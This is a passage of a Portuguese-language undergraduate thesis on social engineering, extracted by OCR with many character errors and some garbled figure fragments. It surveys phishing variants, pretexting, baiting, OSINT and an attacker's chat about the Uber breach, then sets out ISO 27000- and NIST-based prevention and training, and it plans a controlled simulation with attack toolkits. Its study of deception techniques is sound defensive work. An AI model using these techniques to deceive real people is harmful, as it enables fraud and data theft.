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RESUMO

Esse trabalho de Concluséo de Curso aborda o tema da Engenharia Social, um tipo de
invasdo gue ndo envolve erros computacionais ou falhas, mas sim explora vulnerabilidades e
instintos humanos para coletar dados sigilosos e confidenciais. E um dos métodos mais
antigos de ataque cibernético, e que até hoje ainda se mostra eficaz. O artigo inicia com o
conceito de Engenharia Social, tracando sua historia ao longo do tempo, e sua importancia na
ciberseguranca, e como foi desenvolvido as variantes de engenharia social de ordem
cronoldgica. O trabalho abordara as metodologias de prevencdo e mitigacdo que pode ser
usado numa empresa, baseado nas normas ISO 27000, trazendo a tona métodos como
treinamento, a criacdo de politicas de seguranca numa empresa e a importancia de uma cultura
voltada na protecdo de dados e a seguranca. Por ultimo, faremos um estudo detalhado, onde
uma simulac&o de ataque de engenharia social é feita em um ambiente controlado, e os
resultados sdo usados para sugerir melhorias. Sempre temos que se atentar aos principais
métodos de engenharia social, incluindo o phishing, quid pro quo, pretexting, baiting e
tailgating, e estratégias de prevencdo, baseado nas normas 1SO mais atuais e na familia ISO
27000, e mitigacdo dos problemas, usando métodos praticos de como impedir esses ataques.

Palavras-Chave: Engenharia Social, phishing, pretexting, baiting, tailgating,

prevencao, ISO 27000, mitigacdo, Seguranca da Informacéo, Execucdo, Etica.



ABSTRACT

The main purpose was a discussion and investigating social engineering, a type of
invasion that does not involve computer errors or flaws but rather exploits vulnerabilities and
human instincts to collect sensitive and confidential data. It is one of the oldest methods of
cyber-attack, and it remains effective today. The article begins with the notion of Social
Engineering, tracing its development over time, its significance in cybersecurity, and the
sequential development of its variants. Finally, we will carry out a detailed study, where a
simulation of a social engineering attack is carried out in a controlled environment, and the
results are used to suggest improvements. We always must be aware of the main methods of
social engineering, including phishing, quid pro quo, pretexting, baiting and tailgating, and
prevention strategies, based on the most current ISO standards and the ISO 27000 family,
and mitigation of problems, using practical methods of how to prevent these attacks. Based on
the above-mentioned findings, it can be said that prevention and mitigation methodologies,
based on the ISO 27000 standards, can be effectively implemented in a company. These
include training, the creation of security policies, and fostering a culture that prioritizes data

protection and security.

Keywords: Social Engineering, phishing, pretexting, baiting, tailgating, prevention,

ISO 27000, mitigation, Information Security, Execution, Ethics.
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INTRODUCAO

Nas Ultimas décadas, a tecnologia se tornou cada vez mais democratizada, acessivel,
usada e aprimorada, renovando a maneira como individuos e empresas otimizam seus
processos. Todavia, a medida que a tecnologia avanca, 0s ataques cibernéticos também se
aprimoram e encontram novas brechas de ataque. Um dos métodos mais perigosos e,
coincidentemente, utiliza-se menos de falhas tecnoldgicas e mais de vulnerabilidade e
ingenuidade humana, é a engenharia social, baseado, além de técnica de ciberataque, como
uma forma de manipulacdo psicologica para vazar dados sensiveis. Resumidamente, de
acordo com Mitnick e Simon (2002), a engenharia social é "a arte de enganar as pessoas para

que revelem informagdes confidenciais".

Diferentemente de ciberataques que usam técnicas de hacking ou malwares
complexos, aqui, a engenharia social tem uma estrutura relativamente simples, se alimentando
de manipulacdo psicoldgica para que as vitimas fornecam, sem perceber, dados de login,
cartdo de crédito, cartdo de débito, PIX, IPs, dinheiro, dados bancérios, dados confidenciais de
empresas etc. E isso pode ser explorado por diversas técnicas de engenharia social, como
phishing, quid pro quo, pretexting, baiting e tailgating. Em uma empresa, a situacdo pode se
tornar avassaladora, com custos com violaces de dados, perder reputacdo e ter que investir
em medidas de recuperacdo (HERLEY, 2021).
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Figura 1. Taxa geral de relatério de Phishing por e-mail ao longo dos anos.

Essa técnica s6 é bem-sucedida e até hoje muita gente cai nela, além de ter repercusséo
nas midias, pois os seres humanos sdo e continuam sendo o elo mais fraco na cadeia de
protecdo (HADNAGY, 2011). Segundo Verizon Data Breach Investigations Report (2023),
68% das violagdes de seguranga envolvem algum tipo de erro humano, e é continuamente
associado a engenharia social. Além disso, apoia-se numa estratégia velha e conhecida de

manipulacdo humana, a manipulagdo emocional, por varios meios: Cialdini (2001) identifica



seis principios psicologicos frequentemente usados em técnicas de persuasdo: reciprocidade,
compromisso, coeréncia, validacdo social, afei¢do, autoridade e escassez. Na prética, é
refletida na engenharia social com os seguintes métodos: da impressdo de autoridade para ndo
parecer farsante, pegando confianca da vitima até ela cair na armadilha, o senso de urgéncia, o
medo e coercdo, a curiosidade do usuario, pegando uma causa nobre para explorar a empatia
da vitima, a ganancia em descontos enormes ou promessas de ganhos rapidos de dinheiro,
fazendo reciprocidade com a vitima, isolando a vitima para que a transacéo entre eles fiqguem

em sigilo, fingindo ser alguém da familia ou trabalho, entre outros.

68%of breact
(n=10,069)

I fg
2

'32% of breaches involved Ransomware or Extortion
(n=9.982)

28% of breaches involved Errors
(n= 7)

Figura 2. 68% dos ataques cibernéticos tem algum erro e fator humano envolvido.

Um exemplo a se lembrar foi o que ocorreu em 2020, no Twitter, onde varias contas,
incluindo perfis de figuras publicas, como Barack Obama, Jeff Bezos, Kanye West, Floyd
Mayweather e Elon Musk, e empresas como Apple e Uber foram afetadas por meio de um
ataque de spear phishing, que ocorreram com os funcionarios internos da empresa, que foram
enganados, expondo dados de 350 milhdes de contas e os hackers ganharam cerca de US$ 110
mil durante o golpe. Alexander (2020) especifica que o spear phishing, como no caso do
ocorrido no Twitter, o fator que se caracteriza como diferenciagdo em relacdo ao phishing, €
que o ataque ocorre com individuos ou organizacbes especificas, com mensagem

personalizada para aumentar a credibilidade.

Outro exemplo a se citar € a Uber, hackeado em 2022, a empresa tirou do ar
temporariamente seus sistemas internos de comunicacdo e engenharia, entre eles o sistema

Slack, e no momento do ataque, os funcionarios foram instruidos a ndo usar os sistemas



internos de comunicacdo. Uma conta Slack de um colaborador foi comprometida e enviou
mensagens para a equipe interna de que a Uber foi invadida e exp6s varios bancos de dados

internos.

Tea Pot

ok so basically uber had a network share \\| ots. the share
contained some powershell scripts.

one of the powershell scripts contained the username and

password for a admin user in Thycotic (PAM) Using this i was able to
extract secrets for all services, DA, DUO, Onelogin, AWS, GSuite

on an uber IP range? or v.._ .....on like GCP or AWS (*.uberinternal) i

i
M,

in Uber intranet

5
*.corp.uber.com " R
e K«?E
How'd you get access to the intranet then? e |
- —4
SE an employee -> access VPN -> scan intranet? Y% |
TNE |
o B

yes! S ‘%- m

S B
(R s

exactl [ "8mr o /ﬁ
v o N |

Figura 3. Printscreen de uma conversa privada com o hacker no Telegram

A prevencdo contra engenharia social necessita de mais do que apenas sistemas de
seguranca. Treinamento dos funcionarios, uma politica de seguranca mais robusta, adocéo de
autenticacdo em dois fatores, monitorar ameacas, verificacdo e autenticacdo de solicitacdes,
simulacdes de ataques de engenharia social feita por um pentester, gerenciador de senhas e
respostas rapidas a incidentes também é crucial para a preven¢do. De acordo com um estudo
da IBM (2023), o custo médio de uma violacdo de dados por engenharia social é,

aproximadamente, 4,45 milhdes de dolares, o que se faz necessario sua prevencao.
Rans

N
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Figura 4. Variedades de acdo em motivagdo financeira ao longo do tempo. D4 para se notar que Pretexting,

embora seja menor que Ransomware, também teve um aumento entre 2018 até 2024.



A ética e legalidade da engenharia social também é um ponto a se pdr na discussao,
pode ser usado tanto de forma negativa, para expor dados ilegalmente de uma empresa,
guanto também de forma legitima, especialmente em equipes red team, para testar suas
defesas em empresas. Ainda assim, nem sempre os ataques ilegais de engenharia social se
resumem apenas a fraqueza humana, muitas vezes, envolvem planejamento calculado pré-

ataque, algumas informac0es antecipadas sobre a vitima e a criagdo de cenérios convincentes.

Esse presente artigo ira abordar trés pontos: Prevencdo, Mitigacdo e Execucdo. Na
primeira etapa, sera citado as formas mais comuns de ciberataques de engenharia social, bem
como maneiras de se prevenir desses ataques, e conhecimento sobre a norma 1SO 27000 para

entender como agir nesses casos.

A segunda etapa € a mitigacdo, sera destrinchado as a¢cdes que podem ser tomadas em
um ciberatague em tempo real, e quais politicas implantar para diminuir os impactos. Sera
pego também casos reais de empresas que sofreram ataques de engenharia social e o que foi
feito para resolver o problema, ao ponto de ndo comprometer, ou comprometer o minimo

possivel, dos dados existentes durante a invasao.

Por ultimo, sera tratado sobre a execucdo, como sdo feitos esses ataques, como se
utiliza o Social Engineering Toolkit (SE Toolkit ou SET), theHarvester, GoPhish, BeEF e
ReconNg, e como é elaborado um ambiente de simulagdo de ataque de engenharia social em

uma empresa, num ambiente controlado.

(LT g
= LI b g R

Figura 5. Tela do SET (Social Engineering Toolkit)



CAPITULO 1. FUNDAMENTACAO TEORICA

Esse artigo tem como fundamentacdo teorica todo o conceito de Engenharia Social. A
pesquisa serd baseada nas pesquisas, artigos e livros classicos e atuais, em obras tedricas e
praticas com autores renomados, como Kevin Mitnick, Christopher Hadnagy, Peter Yawoski,

entre outros.

A engenharia social é um conjunto de técnicas de manipulacéo psicologica que usam
fraquezas emocionais, comportamentais e cognitivas, e baseadas principalmente nos
principios citados por Cialdini (2006), reciprocidade, comprometimento, validacdo social,
autoridade, escassez e simpatia, bastante presente nesses ciberataques, para manipular suas
vitimas e, consequentemente, obter dados sigilosos. Segundo Mitnick e Simon (2002), o
sucesso desse tipo de ataque reside no fato de que o elo mais fraco na seguranca de qualquer
sistema € o ser humano. Uma violacdo desse porte numa empresa, ndo apenas se torna
corrosivo, como também pode fazer a empresa ter problemas com as regulamentagdes, como
a Lei Geral de Protecdo de Dados (LGPD) no Brasil, 0 Regulamento Geral de Protecdo de
Dados (GDPR) na Europa, e A Lei de Protecdo e Privacidade de Dados dos EUA (ADPPA).

Na histdria, a engenharia social tem origem em golpes que sempre foram comuns na
sociedade, mas que, posteriormente, se compactuou na internet. Sua evolucdo é diretamente
proporcional ao avango da tecnologia, e com o advento das redes sociais, se tornou mais
usada, ja que as pessoas se tornaram mais expostas a manipulacdo na web de forma geral.
Agora, com o advento da IA e dos DeepFakes, ha um potencial futuro e evolutivo da
engenharia social nesse meio, 0 que torna a situacdo preocupante, abusando ainda mais do
fator manipulativo e das tecnologias mais atuais. Essa preocupacdo inclusive, é compartilhada

por Hadnagy (2011), que destaca a crescente sofisticacdo dos métodos de engenharia social.

° Normas ISO Utilizadas

Como citado anteriormente, a 1SO ideal e que tange a organizacdo das empresas em
relacdo a Seguranca da Informagéo € a familia 27000, especialmente a 27001 e 27002. Na
etapa da prevencao, é a adequada para esse caso. A ISO/IEC 27001 estabelece requisitos para
implementar, manter e melhorar o sistema de SGSI. Também estabelece defini¢des para como

proceder em acgdo corretiva, ameagas, e incidentes de seguranca da informacao, além de



minimizar vulnerabilidades humanas que podem causar engenharia social. Conjunto a essa
norma, estd a 27002, oferecendo para a 27001 um conjunto de préaticas para controle desses

incidentes, para garantir a confidencialidade, integridade e disponibilidade dos dados.

Outras normas que tambem fornecem suporte é a 27005:2018, 27017:2015 e
27018:2019. A 27005 é uma complementagdo da 27002, focando no gerenciamento
generalizado de riscos de seguranca da informacéo, avaliagdo, tratamento, aceitacdo e
seguranca deles. A 27017 fornece diretrizes de controle de seguranca para acessos em nuvem,
orientando a implementacdo adicional de 37 controles especificados e 7 relacionados ao
servico em nuvem, verificando quem € o responsavel pelo que vai entre o provedor de
servigos e o cliente na nuvem, a remogao ou devolucédo de ativos, configuragcdo de maquinas
virtuais, protecdo do ambiente virtual do cliente, procedimentos administrativos sobre a
nuvem, monitorar atividade do cliente em nuvem, e sobre alinhar ambiente virtual de rede e
de nuvem. Paralelo a isso, tem a 27018, que trata sobre um conjunto comum de categorias e
controles que pode ser implementado por um provedor de servigos em nuvem, cCOmMoO um
processador de PII, auxiliando o provedor, verificando se suas obrigacdes sdo diretas ou por
contrato, auxilia o cliente e o processador de PIl ao fazer um acordo contratual, prover ao
cliente um mecanismo para exercer direitos e responsabilidades de auditoria, e a transparéncia

em assuntos relevantes dentro da nuvem.

° Ferramentas e Softwares Utilizados

Na etapa de prevencdo, serd focado em alguns programas que podem ser usados
facilmente por qualquer pessoa em qualquer grau de conhecimento, como plataformas de e-
learning, como KnowBe4 e SANS Security Awareness, aplicativos de autenticacdo multifator,
como Microsoft Authenticator, criptografia de dados com BitLocker, ferramentas de DLP

(Data Loss Prevention), como Symantec DLP, e gerenciamento de direitos digitais (DRM).

Na etapa da Execucdo, seria usado ferramentas predominantemente em sistema Linux,
como Ubuntu, Kali Linux e Arch Linux, e serd o Social Engineering Toolkit (SE Toolkit ou
SET), o GoPhish, BeEF e ReconNg, MalteGo e o PhishMe para avaliar as respostas dos
funcionarios mediante a uma simulacdo de ataque. Serdo tanto ferramentas de engenharia

social, como também coleta de dados.



° Principios de Controle de Acesso

Ha bastante métodos para a prevencdo contra uma engenharia social, e uma delas é o
Principio do Menor Privilégio (Principle of Least Privilege). Segundo Brown (2013), esse
principio é, nada mais e nada menos, que o controle de acesso precisa ser adicionado de forma
que cada cargo dentro do sistema, em uma corporacdo, receba a quantidade minima de
recursos de sistema para trabalhar, apenas incluindo o necessario. Portanto, fazer isso evita
erros, acidentes ou ato ndo autorizado. Brown (2013) também acentua a autenticacdo para se
acessar ao sistema, para provar que 0 Usuario € auténtico, o uso de politicas fechadas, isto &,
somente acessos autorizados a determinados itens secretos sao permitidos, separar deveres de
sistema na empresa, para que o gerenciamento do sistema nao fique concentrado na méo de
apenas uma pessoa, adicionar politicas de seguranca na empresa, e politicas administrativas,
além de citar 3 tipos de politicas possiveis em controle de acesso, Controle de acesso
discricionario (Discretionary Access Control — DAC), Controle de acesso mandatdrio
(Mandatory Access Control — MAC) e Controle de acesso baseado em papéis (RBAC).

_— — _— =
ﬁcu de [b‘
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| controle de controle de
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Figura 6. Essas politicas ndo sdo exclusivas e podem ser utilizadas mais de uma politica em um sistema, para

alguns ou todos os acessos da empresa.

O controle de acesso direcionado funciona da seguinte maneira: uma pessoa pode receber
direitos de acesso que possibilita com que ela, por sua vontade, possa habilitar outro
colaborador a acessar algum recurso. O sistema mais comum para esse tipo de abordagem

para se usar no banco de dados é a matriz de acesso. A matriz de acesso foi arquitetada por



Lampson (1969 e 1974) e aprimorado por Graham e Denning (1972) e Harrison et al. (1976) e

é decomposto em um de dois médulos, por colunas, formando lista de controle de acessos.

OBJETOS
Arquivo | Arquivo2  Arquivo3  Arquivo 4

Usudrio A | Leitura Leitura
Escrita Escrita

Proprietinio
SUJEITOS  Usudrio B | Proprietario Leitura Escrita Leitura
Escrita
Leit Proprictirio
Usuirio C [ EEHE Leitura Leitura
gt Escrita
(a) Matriz de acesso
Arquivo | =R ] —~[TB| [ A_| UsuirioA —~[Arquivo ] —~{Arquivo 3|
| Ee ]
|Progctirio Proprictirio Proprctirio Proprictirio
R R R R
W W
\rg -8B ¢ t B Arquivo 4
|Propeictiriol
R R R
W
\rquivo3 —[TA | —~[B | Usuirio € —»[Arquivo 1] —»[Arquivo 2| —{Arquive 4
Propeietiriol | | Prop
‘ R W R R R
| | W W
\rquive 4 —{BH NG (¢) Listas de capacidades para os arquivos da parte (a)
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Figura 7. Exemplo de controle de acesso simples.

Politica de Expiracdo de Sessdo: é uma medida de seguranca que limita o tempo que um
usudrio pode se autenticar durante periodos de inatividade e deve se autenticar novamente,
evitando ataques em sessdes ndo monitoradas. De acordo com a ISO/IEC 27001:2013, as
empresas precisam implementar controles para minimizar o uso prolongado de sessoes,
especialmente sessdes inativas. O NIST (National Institute of Standards and Technology)
também recomenda essas praticas de timeout automatico para reduzir ataques de pessoas de
fora da empresa (GRASSI, Paul A. et al., 2017).

Autenticacdo multifator: Ele adiciona camadas extras de seguranga ao exigir varios
métodos de verificacdo antes de autenticar no sistema da empresa. Pode ser uma mistura de
senha, token, pin, biometria etc. Segundo NIST (2020), ela é considerada uma das praticas
mais eficazes para verificagéo, e reduz o acesso ndo autorizado mediante credenciais roubadas

de algum funcionario da empresa. Esse assunto também é abordado na ISO/IEC 27001:2013.

° Tipos de Engenharia Social

Ha varios métodos do quais podem ser usados para executar uma engenharia social.

Algumas das técnicas incluem:



Phishing: Seu nome deriva-se da palavra “fishing” (pescar), no inglés, ja que o
ataque ¢ semelhante ao ato de pescar, nesse caso, “pescar” (enganar) vitimas. Um dos
métodos mais comuns, pode ser realizado por meio de e-mail ou mensagens, para que as
vitimas, sem querer e ingenuamente fornecam senhas ou dados financeiros (JAKOBSSON;
MYERS, 2006). Tem algumas variantes, como o Phishing por e-mail, smishing, pharming,
vishing, spear phishing, whaling, phishing com inteligéncia artificial.

Phishing por e-mail: Uma forma classica e antiga de phishing, o criminoso envia e-
mails que parecem de fontes confidveis, como empresas conhecidas e renomadas, mas na
verdade € um golpe de Phishing. Na maioria dos casos, contém um link que pedem

informagdes confidenciais quando abertos, ou arquivos que instalam malware.

Smishing: Um tipo de phishing que utiliza SMS. O cibercriminoso envia uma
mensagem se passando por uma empresa renomada, instituicdo financeira, e colocando um
link, para que a pessoa acesse, mande os dados bancérios e confidenciais, ou receba um

malware no seu dispositivo.

Pharming: O atacante envia a vitima de uma pagina verdadeira para outra falsa, ou
por meio de malware que altera o arquivo de hosts do computador, ou envenenamento de
DNS, conseguindo modificar a tabela DNS de um servidor. E uma forma mais sutil de

phishing pois n&o existe um convite para um site.

Vishing: Também conhecido como Voice Phishing, é feito por meio de ligacdo, onde
0 criminoso incorpora uma suposta empresa renomada, induzindo a pessoa a passar senhas,

ndmero de cartdo de crédito e dados sensiveis.

Spear Phishing: Normalmente acontece esse ataque com grandes corporagdes ou
pessoas executivas, de renome ou status social. H4 um uso detalhado dos dados sobre o alvo
para que a mensagem seja 0 mais convincente possivel, normalmente retirados de redes
sociais, sites da empresa etc. E bastante executado ja que as informag@es obtidas podem

manchar e causar prejuizos a empresa vitima.

Phishing com Inteligéncia artificial: E usado ferramentas como Play.ht, Murf.Al,
Speechify, Listnr, LOVO (Genny), Synthesys, dentre outros, para ficar ainda mais fidedigno os

ataques de phishing e ser mais facil de enganar.

Pretexting: A criacdo de uma situacdo ficticia para enganar a vitima, para que ela

acredite que esta conversando com uma autoridade legitima (HADNAGY, 2011).
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Baiting: Um método de isca, onde a vitima € atraida por ofertas ou recompensas
atraentes, fazendo assim, com que a vitima, sem perceber, baixe malware no seu computador,

ou forneca dados sensiveis, ou entdo, pendrives infectados (SYMANTEC, 2021).

Tailgating: Mais utilizadas em ataques fisicos, em que a pessoa mal-intencionada
acaba tendo acesso a areas restritas, ao seguir uma pessoa autorizada, em uma empresa com

falta de seguranca e validacdo de credenciais e documentos (HADNAGY, 2018).

Quid pro Quo: Baseado na frase latina “algo para algo”, ¢ similar aos métodos
phishing e baiting, porém, sua diferenca estd no fato de que o golpista tenta convencer a
vitima que ele estd fazendo um favor a ela, logo, a vitima “deveria se sentir grata” em

contribuir com ele. (HADNAGY, 2018).

Scareware: induz a vitima pelo medo, para que ela realize uma acdo. Um exemplo
pratico que existe sao os sites que exibem tela de “Encontrado 8 virus no seu computador, seu
computador esta em risco” ao abrir um link pirata de apk gratis no Youtube. A vitima, por
medo, clica, instala para tentar remover o suposto “virus”, que ndo existe, pois ¢ um alerta

falso. (SYMANTEC, 2021).

Watering Hole: Nesse caso, ha a invasdo de um site verdadeiro, acessado por um publico
especifico, infectando o site com malware e para que os usuarios coloquem sem perceber nos
seus dispositivos, para que o publico acesse e nem saiba que o site foi atacado. (SYMANTEC,
2021).

° Meétodos de coletar informacéo

Open Source Intelligence (OSINT): Coleta de informagbes por fontes pulblicas e
disponiveis na internet, como sites governamentais, redes sociais, entre outros, reunindo
informacdes sobre usuarios ou empresas que podem ser usados para realizar ataques de

engenharia social.

Dumpster Diving: Vasculhar o lixo de uma empresa para coletar informag6es, como
documentos, notas etc. Ele € um método antigo, simples, mas pode ser eficaz em empresas

que ndo seguem e/ou desconhecem boas praticas de ciberseguranca.



CAPITULO 2. DESENVOLVIMENTO

e Metodologia

2.1.1 Tipo do trabalho

Esse presente artigo usa uma abordagem quantitativa, explicativa e aplicada,
aprofundando sobre as vérias variantes de engenharia social, seus métodos, seus impactos na
sociedade e como prevenir contra isso, além de como usar a engenharia social de forma ética,
para aumentar a seguranca nas empresas. Como o tema ainda esta em fase de aprofundamento
e visando que € um tema que evolui de acordo com a tecnologia, ou seja, muda rapidamente,
0 objetivo do artigo é trazer solugdes praticas e abrangentes.
2.1.2  Coleta de dados

Pesquisa Bibliogréafica: Sera coletado fontes de livros de seguranca da informacéo,
artigos cientificos, sites académicos e jornais académicos. Terd uma revisdo teorica sobre o
que é e como funciona a engenharia social, para aprofundar o conhecimento na &rea e para
alcancar um determinado publico que esta nos meios académicos ou pensa em se aperfeicoar
em ciberseguranca. lremos identificar técnicas relacionadas e conceitos sobre o tema. As

fontes serdo pegas pelo Google Scholar, IEEE, CAPES, Ric CPS, site da UnB, entre outros.
2.1.3 Desenvolvimento

Os softwares que serdo utilizados no exemplo pratico serdo predominantemente no
sistema Linux, em especial sistemas operacionais como Ubuntu, Kali Linux, e ferramentas

como Social Engineering Toolkit, GoPhish, BeEF, ReconNg e MalteGo

Todo o material utilizado na pesquisa, sera referenciado conforme as normas do

ABNT, com seus respectivos links de acesso.
2.1.4 Recursos

Computadores proprios, periféricos préprios, internet doméstica, livros digitais e

fisicos proprios.

2.1.5 Artigos Similares
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O campo de estudo sobre a engenharia social j& é ativo e est4 presente em uma parte
consideravel do setor académico. Portanto, ha alguns artigos similares que j& abordam esse
problema, assim como esse presente artigo. Aqui, irei referencia-los, e mostrar quais sdo 0s

pontos convergentes e divergentes de cada um, assim como alguns topicos nao abordados.

Explorando a Engenharia Social com Social Engineering Toolkit - Faculdade de

Tecnologia de Americana, Tecnologia em Seguranca da Informacédo (SALES et al, 2023)

Esse artigo apresenta alguns pontos em comum que seria interessante destacar, como
similaridade: O uso do Social Engineering Toolkit, algumas fontes similares como Hadnagy,

Kapersky, uso de Kali Linux e leis Brasileiras.

As diferencas sdo: O trabalho de Sales (2023) é mais nichado, enquanto nesse em
questdo foi mais abrangente. O uso de simulagdo de Phishing com e-mail foi feito, mas no
caso, Sales (2023) usa o préprio SET, enquanto nesse trabalho em questdo, usamos GoPhish,
usando o SET para outra finalidade. Houve mais aprofundamento na ISO/IEC e STIGs nesse
nosso trabalho em questdo, assim como houver a abordagem das normas NIST e sobre as
técnicas OSINT. Néo houve quaisquer enfoques em prevencdo e mitigacdo relacionado a
empresas, indicando que o trabalho de Sales (2023) é mais voltado para estudantes de
ciberseguranca, enquanto nosso publico-alvo sdo estudantes e entusiastas de ciberseguranca e

guem pensa em montar empresas.

A Brecha humana da Seguranca da Informacgdo: Engenharia Social e Politicas de
Seguranca. Faculdade de Tecnologia de Americana, Tecnologia em Seguranca da
Informacdo (RODRIGUES, 2018).

Dos trabalhos de Graduacéo das FATECS, esse foi 0 mais completo encontrado, um
trabalho monografico envolvendo um estudo de caso, e o Unico trabalho que eu vi citar NIST
e SANS Institute, felizmente o trabalho ndo foi apenas com livros brasileiros. Suas
semelhangas sdo: CitacOes de Leis Brasileiras, de Kevin Mitnick e Simon (2003), além dos ja

citados anteriormente.
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Diferencas: Seu trabalho foi mais exploratério do que informativo, baseando em
pesquisa de campo de autoria deles, de alguns empresarios. Houve menos aprofundamento em
prevencdo e mitigacdo, ndo houve a parte de execucédo, sendo seu trabalho uma amostragem
da realidade atual, sobre se os empresarios coletados na pesquisa sabiam de alguma forma
sobre como implantar medidas preventivas na sua propria empresa. O nosso trabalho foi mais
nichado, mais informativo, mais preventivo e com publico-alvo mais segmentado (estudantes
e entusiastas de ciberseguranga e quem pensa em montar ou tem empresas), enquanto seu
publico-alvo seria empresarios e montar uma amostra da realidade de forma estatistica para
académicos. O trabalho de Rodrigues (2018) teve mencéo de ITSEC, COBIT, OCDE e ITIL,

enguanto 0 nosso teve mencdo de STIGs.

Fatores humanos em ciberseguranca: uma revisao sistematica da literatura —
Universidade Federal de Uberléndia, Bacharel em Sistemas de Informacéo
(TAKEUCHI, 2023)

Artigo mais voltado para o0 meio académico e mais aprofundado em psicologia,
também é mais exploratério. Aqui, ele revisa artigos académicos sobre esse tema baseado em
3 perguntas: associagao ao tema proposto, quais os fatores humanos apontados e como se
relacionam, e se tem conjuntos consolidados de boas praticas. As semelhancas sdo: enfoque

em prevencao.

As diferencas sdo: Nosso artigo teve a citacdo de NIST, STIGs, ISO/IEC, Leis
Brasileiras e Americanas, bem como a etapa de execucdo e sugestdes de aplicativos tanto para
mitigagdo quanto para a execugdo, de varios niveis de conhecimento, um treinamento inteiro
montado detalhadamente com a ajuda das normas NIST, assim como a cita¢do de Cialdini
(2006) sobre principios psicoldgicos utilizados que ajudam em uma tentativa de persuaséo,
usado em engenharias sociais. O artigo de Takeuchi (2023) teve a citacdo de Big Five, & mais
exploratorio, mais voltada a &rea académica, publico mais nichado, voltado a académicos e

entusiastas de ciberseguranca, ndo houve etapa de execucao.
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2.2 Prevencao e Mitigacdo

Na parte da prevencdo e Mitigacdo, separamos o desenvolvimento em algumas etapas,
para ser mais compreensivel e estruturado diante do processo de construgdo da nossa

pesquisa. Esses sdo 0s topicos:

- Conscientizacdo dos usuarios baseado na Norma NIST;

- Politica de Privacidade, Controle de Acesso e STIGs;

- Autenticacdo Multifator;

- Boas préticas de descarte de informacdes;

- Resposta a Incidentes, Recuperacdo e Andlise pos-incidente;

- Uso de Tecnologia e Ferramentas de Seguranca;

2.2.1 Conscientiza¢do dos Usuarios baseado na norma NIST

Tudo comecga com a conscientizacao, especialmente quando se trata de um ataque de
ciberseguranca que usa como fraqueza o fator humano. Para se prevenir, a empresa deve
investir em treinamentos, especialmente aquelas baseadas em NIST 800-50 e NIST 800-16.
Segundo a norma NIST, ha 3 etapas do treinamento de seguranca de tecnologia da
informacdo: montar o plano de treinamento (incluindo o desenvolvimento do ensino de
seguranca da informacdo), desenvolver o conhecimento e o material de treino, e implementar
0 programa.

Um desenvolvimento de um programa de treinamento e conhecimento numa empresa
precisa ser arquitetado, desenvolvido, e implantado de varias formas diferentes. Segundo a
NIST (2003), ha 3 modelos possiveis, 0 Modelo de Gestéo de Programas Centralizado, onde a
organizagao do treinamento de seguranca da informacéo é responsabilizada por uma
autoridade central; o0 Modelo de Gestdo de Programas Parcialmente Descentralizado, onde é
designado por autoridades responsaveis para criar o treinamento, mas sdo mais de um
responsavel; e o Modelo de Gestdo de Programas Totalmente Descentralizado, onde a
autoridade do projeto (normalmente o C1O ou o administrador do programa de seguranca da
informacao), distribui a responsabilidade para varias diretorias de autoridade, que por sua vez,
séo submissas a autoridade central.

E preciso criar uma equipe de avaliacio de necessidades, onde participa o Gestor
Executivo (gerenciador do projeto), a equipe de seguranga (uma equipe treinada em seguranca
da informacéo), Gerenciadores do Sistema (que provavelmente tem uma boa nocao de
politicas de seguranca e requerimentos aplicados para o sistema que eles gerenciam),
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Administradores da area de sistemas e de Seguranca da Informacao (que detém bastante
conhecimento técnico e tem um alto grau de autoridade nesse assunto), e os Gestores
Operacionais junto com os Usuérios do Sistema, que precisam se aprofundar sobre os
conhecimentos de seguranca para conduzir suas operagoes de trabalho.

Algumas perguntas-chave seriam interessantes de serem respondidas na criacdo desse
material, como:

Que sensibilizacdo, formacéo e/ou educacao sao necessarias?
O que esta a ser feito atualmente para responder a estas necessidades?

Qual é a situacdo atual sobre a forma como estas necessidades estdo sendo abordadas
(ou seja, até que ponto os esforcos estdo funcionando)?

Quais as lacunas das necessidades e 0 que esta sendo feito para resolvé-las?

Quiais sdo as necessidades mais criticas?

E preciso pesquisar quais conhecimentos de seguranca a equipe precisa e denota
desconhecimento sobre, e hé véarias formas de coletar essa informacéo, aqui esta uma sugestdo
de técnicas:

Entrevistas com todos 0s grupos e organizacfes-chave identificadas;
Pesquisas Organizacionais;

Revisar e avaliar recursos materiais disponiveis, como material de conscientizacao e
formacdo atual, calendério e a lista de quem ira participar;

Analisar métricas que tem relacdo com a sensibilizacdo e formacao (exemplo:
Porcentagem de pessoas que completam a sessdo de conscientizacdo necessarias, de
acordo com o material especifico da funcéo);

Reviséo do plano de seguranca dos sistemas de apoio geral e aplicagdes para encontrar
0s proprietarios dos sistemas e 0s representantes de segurancga responsaveis;

Analisar o inventario do sistema e bases de dados de identificacdo de quem utiliza as
aplicacdes para determinar 0s acessos;

Analisar as conclusdes/recomendacdes de quem é responsavel pela supervisao
(Exemplo: Inquérito do Congresso, inspetor-geral, auditoria interna etc.) ou analise de
programas relacionados ao programa de seguranca da informacao;



16
Conversas com a dire¢do e proprietarios do sistema, e 0 pessoal cuja execucdo do seu
trabalho depende da Tl;

Analisar eventos (como ataque DDoS — Ataque de Negacdo de Servico, alteracdo de
sites, sequestros de sistemas, ataques de malware etc.) pode ajudar a verificar o nivel
de conhecimento dos colaboradores e se precisa de formacgao, e quais grupos
especificos precisam;

Revisar quando sdo efetuadas alteragdes técnicas ou de infraestrutura;

Estudar as tendéncias vistas em publicacGes académicas ou governamentais, além
como a utilizagdo desses “Sistemas de alerta precoces”, que pode identificar um
problema na empresa que ainda nao foi visto em primeiro momento.

A pergunta que precisa ser feita a0 montar o material de treinamento é: “O que € que
queremos que todo o pessoal da empresa saiba sobre a seguranca da informac¢ao?” e “Quais
habilidades gostaria que minha equipe aprendesse?”. Além disso, ¢ preciso que o treinamento
seja sequenciado por uma lista de topicos, dentre eles:

Utilizac&o e gestdo de senhas - como criacao, alteracGes e protecao;
Protecdo contra virus, worms, cavalos de Troia e outros codigos maliciosos;

Politica atualizada da empresa e suas implicacGes do ndo cumprimento, bem como 0s
procedimentos que serdo tomados para proteger a empresa contra um ciberataque e o
contato técnico para assisténcia do funcionario;

Nao abrir e-mails/anexos desconhecidos;

Utilizacdo da Web, o que é permitido, o que € proibido na empresa, e monitora¢ao do
usuario do sistema;

O que é Spam e seus efeitos
Como fazer backup e armazenamento de dados (centralizada ou descentralizada);
Como se prevenir a engenharia social;

Como responder a incidentes, o que o funcionario pode fazer e quem ele deve procurar
nesses casos;

O que o funcionario pode fazer caso esteja em acesso remoto ou home office

Alteragcdes no ambiente e o que pode implicar de risco para os sistemas utilizados,
como agua, fogo, poeira etc.);
